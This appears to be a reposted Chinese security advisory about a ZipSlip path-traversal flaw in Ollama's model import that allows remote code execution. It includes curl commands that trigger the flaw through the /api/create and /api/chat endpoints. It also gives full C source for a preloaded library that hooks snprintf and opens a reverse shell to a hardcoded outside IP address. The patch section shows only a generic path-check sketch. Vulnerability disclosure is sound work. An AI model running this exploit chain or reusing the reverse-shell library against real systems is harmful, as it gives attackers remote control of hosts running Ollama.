通过ollama/ollama中的 zipslip 执行远程代码
概括
该ZipSlip漏洞可能允许攻击者将任意文件写入文件系统。因此,攻击者可以通过创建恶意 zip 文件 ( ) 来实现远程代码执行 ( /etc/ld.so.preloadRCE vuln.so) application/zip。
描述
ZipSlip 漏洞发生在main/server/model.go(parseFromZipFile)中。
outfile, err := os.Create(filepath.Join(tempdir, f.Name))
上述代码在解压压缩文件时,并未检查文件名是否包含../,因此存在路径遍历问题,文件可能会被写入整个文件系统。包含 的 zip 文件示例../ 请参考https://github.com/snyk/zip-slip-vulnerability/tree/master/archives。
POC
PoC/tmp/vuln.so
通过 ZipSlip 创建/etc/ld.so.preload
以达到 Reverse Shell的过程。 流程如下:
触发 ZipSlip(/tmp/poc.zip 是 bad Zip)
curl -X POST http://localhost:11434/api/create -H "Content-Type: application/json" -d'{"name":"maria","modelfile":"FROM /tmp/poc.zipnSYSTEM DUMMY"}'
步骤 1 完成后,文件将被解压并/tmp/vuln.so
创建/etc/ld.so.preload
文件。创建文件后,/tmp/vuln.so
将链接到 ollama 共享库。
触发反弹 Shell (RCE)
curl -X POST http://localhost:11434/api/chat -H "Content-Type: application/json" -d'{"model":"moondream","messages":[]}'
调用/api/chat并诱导调用链接的恶意库,恶意库代码如下。
//gcc -shared -o vuln.so -fPIC poc.c#include<stdio.h>#include<unistd.h>#include<stdarg.h>#include<dlfcn.h>#include<stdlib.h>#include<arpa/inet.h>#include<sys/socket.h>#include<netinet/in.h>#define REMOTE_ADDR "3.147.74.40"#define REMOTE_PORT 4444int shell(){int sock;struct sockaddr_in serv_addr; sock = socket(AF_INET, SOCK_STREAM,0);if(sock ==-1){ perror("socket");exit(EXIT_FAILURE);} serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = inet_addr(REMOTE_ADDR); serv_addr.sin_port = htons(REMOTE_PORT);if(connect(sock,(struct sockaddr *)&serv_addr,sizeof(serv_addr))==-1){ perror("connect"); close(sock);exit(EXIT_FAILURE);} dup2(sock,0); dup2(sock,1); dup2(sock,2); execve("/bin/bash", NULL, NULL); close(sock);return0;}// hooked snprintfint snprintf(char*buffer,size_t n,constchar*format,...){ printf("snprintf hooking!n"); shell();return0;}
影响
远程代码执行(RCE)
当将其他第三方程序与 ollama 一起使用时,可能会出现提供文件上传的情况。(例如,web-ui)或者,如果在 ollama 生态系统中与模型文件一起提供了恶意 bin 文件(application/zip),则可能会出现未指定数量的 RCE 受害者。
补丁链接 http://github.com/ollama/ollama/commit/123a722a6f541e300bc8e34297ac378ebe23f527
修复内容
补丁主要对文件路径的处理逻辑进行了改进,确保路径被严格校验,防止恶意路径的注入。以下是修复的核心代码思路:
- func resolvePath(userInput string)string{-return filepath.Join("/safe/base/dir", userInput)-}+ func resolvePath(userInput string)(string, error){+ resolvedPath := filepath.Join("/safe/base/dir", userInput)+if!strings.HasPrefix(resolvedPath,"/safe/base/dir"){+return"", fmt.Errorf("invalid path: %s", userInput)+}+return resolvedPath,nil+}
关注我们,获取更多安全资讯和技术分析!
微信公众号: 黑伞安全
原文始发于微信公众号(黑伞安全):Ollama zipslip 远程代码执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论